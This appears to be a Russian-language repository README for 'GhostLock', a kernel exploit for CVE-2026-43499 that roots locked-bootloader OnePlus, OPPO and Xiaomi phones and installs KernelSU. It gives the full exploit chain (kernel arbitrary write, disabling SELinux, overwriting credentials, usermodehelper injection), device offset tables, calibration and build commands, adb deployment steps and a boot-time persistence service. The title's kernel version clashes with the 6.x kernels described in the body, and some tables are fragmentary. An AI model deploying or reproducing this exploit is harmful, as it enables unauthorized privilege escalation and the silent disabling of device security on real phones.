
Адаптер GhostLock (CVE-2026-43499) для Android-ядра 4.19.152-perf+
Эксплойт ядра для устройств OnePlus/OPPO/realme с заблокированным загрузчиком. Позволяет получить root и установить KernelSU без разблокировки загрузчика и без изменения boot-образа. Автоопределение версии ядра во время выполнения с таблицей смещений для нескольких устройств.
CVE-2026-43499 — Use-After-Free в futex PI (Priority Inheritance — наследование приоритета)
Затрагивает ядра Linux 2.6.39 ~ 7.1. Исправлена в mainline 7.1 (коммит 3bfdc63936dd). Android GKI 6.12.x остаётся уязвимым.
Системный вызов pselect6 копирует данные fd_set в стек ядра. В сочетании с механизмом waiter в futex PI освобождённый кадр стека может быть переиспользован как структура rt_mutex_waiter. Перебалансировка rb-дерева при обходе цепочки PI затем записывает контролируемые значения в произвольные адреса ядра.
| Устройство | SoC | Ядро | Примечания |
|---|---|---|---|
| OnePlus 15T (PLZ110) | SM8845 | 6.12.38-...-ab14552068 | То же ядро, что у Ace 6T. В QEMU проверено: SP diff=-64. |
Наложение pselect на стек работает только тогда, когда освобождённый rt_mutex_waiter попадает в контролируемую пользователем область буфера stack_fds. Куда попадёт waiter, определяется результатом компиляции (PGO + LTO), а не версией ядра. Подробнее см. Раскладка стека.
Два пути получения root, выбираемые автоматически на основе возможностей устройства:
Требует off_ashmem_misc_fops != 0 (C ashmem со статическим miscdevice в BSS).
PI write (mode=4) → redirect miscdevice fops to fake fops (via W0 pi_tree)
configfs r/w established
→ pipe physrw (1-byte precise kernel r/w)
→ SELinux enforcing = 0 (single byte, no policycap corruption)
→ UMH: inject work_struct into system_unbound_wq
kernel executes /data/local/tmp/a/e --umh as UID 0
→ root script → ksud late-load → KSU installed
Преимущества перед путём B:
selinux_state.policycap (устраняет проблемы с сетью на OnePlus 13)В настоящее время доступен на: OnePlus 13 (ядро 6.6, C ashmem). Недоступен на устройствах с Rust ashmem (6.12 GKI) — miscdevice выделяется в куче, адрес непредсказуем на этапе компиляции.
Используется, когда смещения UMH или C ashmem misc_fops недоступны.
Write 1 (mode=1) → SELinux enforcing = 0
(low byte of kernel ptr = 0x00, 8-byte write)
Write 2 (mode=2) → task->cred = init_cred
(uid=0, all capabilities)
Root shell → ksud late-load (KernelSU LKM)
→ su -c load_policy (fix SELinux policycap)
→ dynamic manager registration
App (seccomp) → Write 1 (no perf needed)
→ mini-adb connect TCP (port from /data/local/tmp/a/adb_port, default 5555)
→ adb shell: full exploit (perf works, no seccomp)
→ root → KSU → network fix
BOOT_COMPLETED → BootCompletedReceiver
├─ su available → skip (soft reboot / already rooted)
└─ no root → GhostlockService → setsid exploit --bootstrap
При NFDS=320 функция ядра core_sys_select выделяет 256-байтовый буфер stack_fds:
stack_fds: 0 5 10 14 | 15 20 25 29
├─in─┤─out─┤─ex──┤ ├res_in┤res_out┤res_ex┤
◄── USER CONTROLLED ──►│◄── KERNEL ZEROED ──►
Эксплойт записывает поддельные поля waiter (task, lock) во входные битовые карты fd_set. Чтобы это сработало, поля task и lock waiter должны попасть в контролируемую зону (слова 0–14).
Ace 6T ✅ (waiter at word 2):
░░████████████████░░│░░░░░░░░░░░░░░░░░░
▲waiter t l │
task/lock controllable
RMX5070 ❌ (waiter at word 13):
░░░░░░░░░░░░░████│██████████████░░░░░░
▲ │ t l
waiter task/lock ZEROED
Правило осуществимости: слово waiter + 11 (смещение lock в rt_waiter_node) должно быть ≤ 14. Максимально допустимое слово waiter — 3.
Положение waiter определяется раскладкой стекового кадра компилятора (профили оптимизации PGO + LTO + BOLT), которая различается для каждой ветки SoC. Одна и та же версия ядра может иметь разную раскладку на разных SoC.
Все записи в память ядра идут через псевдоним линейного отображения образа:
data_addr(x) = PAGE_OFFSET + (kernel_phys_load - PHYS_OFFSET) + (x - KIMAGE_TEXT_BASE)
Загрузчик выбирает kernel_phys_load, поэтому оно различается для каждого SoC и отсутствует в boot.img и в DT. Поле для конкретного устройства в struct kernel_offsets; 0 = использовать значение по умолчанию из target.h.
| SoC | kernel_phys_load |
|---|---|
| SM8845 (Ace 6T, 15T) | 0xa8000000 |
| SM8750 (OnePlus 13, OPPO Pad 4 Pro) | 0xa8000000 |
| SM8850 (OnePlus 15, Xiaomi 17) | 0xc7800000 |
Неверное значение даёт незаметный сбой — запись всё равно попадает в отображённую RAM, поэтому нет ни краха, ни эффекта. Не путайте это с проблемой PSELECT_SHIFT. Считайте значение на рутованном устройстве той же модели (Kernel code начинается с _stext; _text находится на 0x10000 ниже):
su -c 'grep -i "Kernel code" /proc/iomem' # c7810000-... -> 0xc7800000
В разных ядрах waiter размещается в разных позициях внутри контролируемой зоны. Для настройки используйте PSELECT_SHIFT:
# Default (Ace 6T + OnePlus 15, 6.12): shift=0
/data/local/tmp/a/e
# OnePlus 13 (6.6): shift=-2
PSELECT_SHIFT=-2 /data/local/tmp/a/e
# Override kernel_phys_load for new SoCs (when /proc/iomem is not accessible):
KPHYS=0xc7800000 /data/local/tmp/a/e
Значение waiter word из check_feasibility.py недостоверно: арифметика кадров у него верная, а вот смещения структур, которые он выводит из zero-store, — нет (для OnePlus 15 он выдаёт слово 3; по факту — слово 2). Неверный сдвиг стоит паники ядра за каждую попытку, поэтому измеряйте его на рутованном устройстве:
echo 'p:ds do_select fdsin=+0(%x1)' >> /sys/kernel/tracing/kprobe_events
echo 'p:rw rt_mutex_wait_proxy_lock waiter=%x2' >> /sys/kernel/tracing/kprobe_events
# trigger FUTEX_CMP_REQUEUE_PI, then:
# PSELECT_SHIFT = ((waiter & 0x3fff) - (fdsin & 0x3fff)) / 8 - 2
NDK=/path/to/android-ndk
$NDK/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android35-clang \
-O2 -Wall -Isrc/core -Isrc/devices -DTARGET_CONFIG_H="target.h" \
src/core/main.c src/core/util.c src/core/slide.c \
src/core/fops.c src/core/pipe_physrw.c src/core/root.c \
src/core/miniadb.c src/core/umh_root.c \
-o ghostlock -fPIE -pie -pthread
GhostLock предоставляет только root. Установка KernelSU зависит от ksud — бинарного файла со встроенными модулями kernelsu.ko для каждой версии KMI. Root-скрипт находит ksud на устройстве и вызывает ksud late-load --kmi android16-6.12.
Без ksud эксплойт даёт root (uid=0), но KSU не будет установлен и
suне сохранится.
# Enable ADB TCP (use any port)
adb tcpip 5555
# Push exploit binary and ADB key
adb push ghostlock /data/local/tmp/a/e && adb shell chmod 755 /data/local/tmp/a/e
adb push ~/.android/adbkey /data/local/tmp/a/adbkey
# If using a non-default ADB port (e.g. 23946):
adb shell "echo 23946 > /data/local/tmp/a/adb_port"
После первого успешного джейлбрейка persist.adb.tcp.port устанавливается через resetprop — последующие загрузки полностью автоматические.
/data/local/tmp/a/e # Full exploit (adb shell)
/data/local/tmp/a/e --bootstrap # Phone standalone (app context)
/data/local/tmp/a/e --write1 # SELinux disable only
PSELECT_SHIFT=-2 /data/local/tmp/a/e # Override stack layout shift
Важно: запускайте в течение 30 секунд после загрузки для максимальной надёжности таймингов KernelSnitch.
Нужен только boot.img — ни root, ни доступ к устройству не требуются.
# 1. Extract kernel
python -c "import struct; d=open('boot.img','rb').read(); open('kernel','wb').write(d[4096:4096+struct.unpack_from('<I',d,8)[0]])"
# 2. Global symbols (kallsyms)
python tools/extract_target.py # 28 offsets, auto-validated
# 3. Struct fields (BTF)
python tools/extract_btf.py kernel # 57 offsets, auto-validated
# 4. Add to offsets.h, rebuild
Ядро эксплойта не зависит от конкретного устройства. Для адаптации может потребоваться:
VA_BITS (48 против 39) → обновите раскладку памяти в target.hkernel_phys_load → считайте из /proc/iomem или используйте переменную окружения KPHYS=common.hPSELECT_SHIFT → определите с помощью теста kprobe в QEMUSTRUCT_OFFSETS_6_6 или STRUCT_OFFSETS_6_12 в записи устройстваПуть root через UMH (call_usermodehelper) требует:
off_system_unbound_wq и off_call_usermodehelper_exec_work из kallsymsoff_ashmem_misc_fops = ashmem_misc + 0x10 (только C ashmem, miscdevice.fops в BSS)Только для авторизованных исследований в области безопасности и образовательных целей.
| Устройство | SoC | Ядро | Статус |
|---|
| OnePlus Ace 6T (PLR110) | SM8845 | 6.12.38-...-ab14275539 | Работает |
| OnePlus Ace 6T (PLR110) | SM8845 | 6.12.38-...-ab14552068 | Работает |
| OnePlus 15 (CPH2749) | SM8850 | 6.12.23-...-ab14541642 | Работает |
| Xiaomi 17 (pudding) | SM8850 | 6.12.23-...-abogki463945075 | Работает |
| Xiaomi 17 (pudding) | SM8850 | 6.12.69-...-abogki514973465 | Работает (обновление августа 2026) |
| OnePlus 13 (IN2060) | SM8750 | 6.6.89-...-abogki446052083 | Работает (PSELECT_SHIFT=-2) |
| OPPO Pad 4 Pro | SM8750 | 6.6.89-...-ab14358676 | Работает (PSELECT_SHIFT=-2) |
| Устройство | SoC | Ядро | Причина |
|---|
| OPPO Find X9 Ultra | SM8750 | 6.12.58-android16-6 | PGO устраняет кадр do_futex → SP diff=+32, waiter word=14. Безопасного сдвига не существует. |
| OPPO Find X7 | — | 6.1.157 | GKI 6.1: waiter на слове 13 (все устройства 6.1 OPLUS/GKI) |
| realme RMX5070 | SM6650 | 6.1.141 | GKI 6.1: waiter на слове 13 |
| realme RMX3852 | SM8635 | 6.1.141 | Та же ветка 6.1, что и RMX5070 |
| OnePlus 13R / Ace 5 | SM8650 | 6.1.x | Та же ветка 6.1 |
| OnePlus 12 | SM8650 | 6.1.141 | GKI 6.1: do_futex инлайнится PGO, waiter word=13/19 |
| OPPO Pad 5 (OPD2502) | MT6878 | 6.1.134 | Та же ветка 6.1 |
| OPPO PKW110 | — | 5.15.180 | Кадр do_futex 0x140 (в 4,5 раза больше нормы) → waiter word=-29, недостижим |
| Motorola Edge 60 Fusion | MT6878 | 6.1.145 | GKI 6.1: waiter на слове 13 (не OPLUS, результат тот же) |
| iQOO Z9 5G | — | 5.15.178 | Кадр do_futex слишком велик, waiter недостижим. Устройство не OPLUS (vivo). |
| Способ |
|---|
| Шаги |
|---|
| APK ReSukiSU (рекомендуется) | Установите ReSukiSU или этот форк. В официальном релизе поставляется libksud.so. |
| CI-релиз | Скачайте ksud-aarch64-linux-android.zip из ReSukiSU CI |
| Источник | Кол-во | Метод |
|---|
| kallsyms (глобальные символы) | 28 | extract_target.py |
| BTF (поля структур) | 57 | extract_btf.py |
| Производные (та же структура, другое применение) | 9 | Автоматически |
| Константы (фиксированные значения) | 12 | Извлечение не требуется |
| Файл | Описание |
|---|
src/core/main.c | Входная точка эксплойта, Write 1/2, путь UMH, bootstrap, root-скрипт |
src/core/fops.c | Маршрут pselect, механизм PI-записи, стадия CFI |
src/core/util.c | Heap spray, kernelsnitch, очистка slab, подготовка payload |
src/core/pipe_physrw.c | Чтение/запись физической памяти на основе pipe-буфера (расширяет configfs r/w) |
src/core/umh_root.c | Root через UMH с помощью инъекции в workqueue + обработчик --umh |
src/core/miniadb.c | Мини-клиент ADB (TCP + авторизация RSA) |
src/core/common.h | Параметры таймингов, макросы |
src/core/target.h | Раскладка памяти, значения полей структур по умолчанию (6.12) |
src/core/runtime_struct_offsets.h | Переопределение полей структур для конкретного устройства (6.6 против 6.12) |
src/devices/offsets.h | Объединяет все таблицы смещений устройств + макросы STRUCT_OFFSETS_* |
src/devices/<device>/offsets.h | Записи смещений ядра для конкретного устройства |
src/core/slide.c | Утечка адреса ядра SLIDE |
src/core/root.c | Настройка root-шелла (прямой патчинг cred через pipe physrw) |
tools/extract_target.py | Извлечение смещений из kallsyms |
tools/extract_btf.py | Извлечение смещений структур из BTF |
tools/check_feasibility.py | Проверка осуществимости раскладки стека |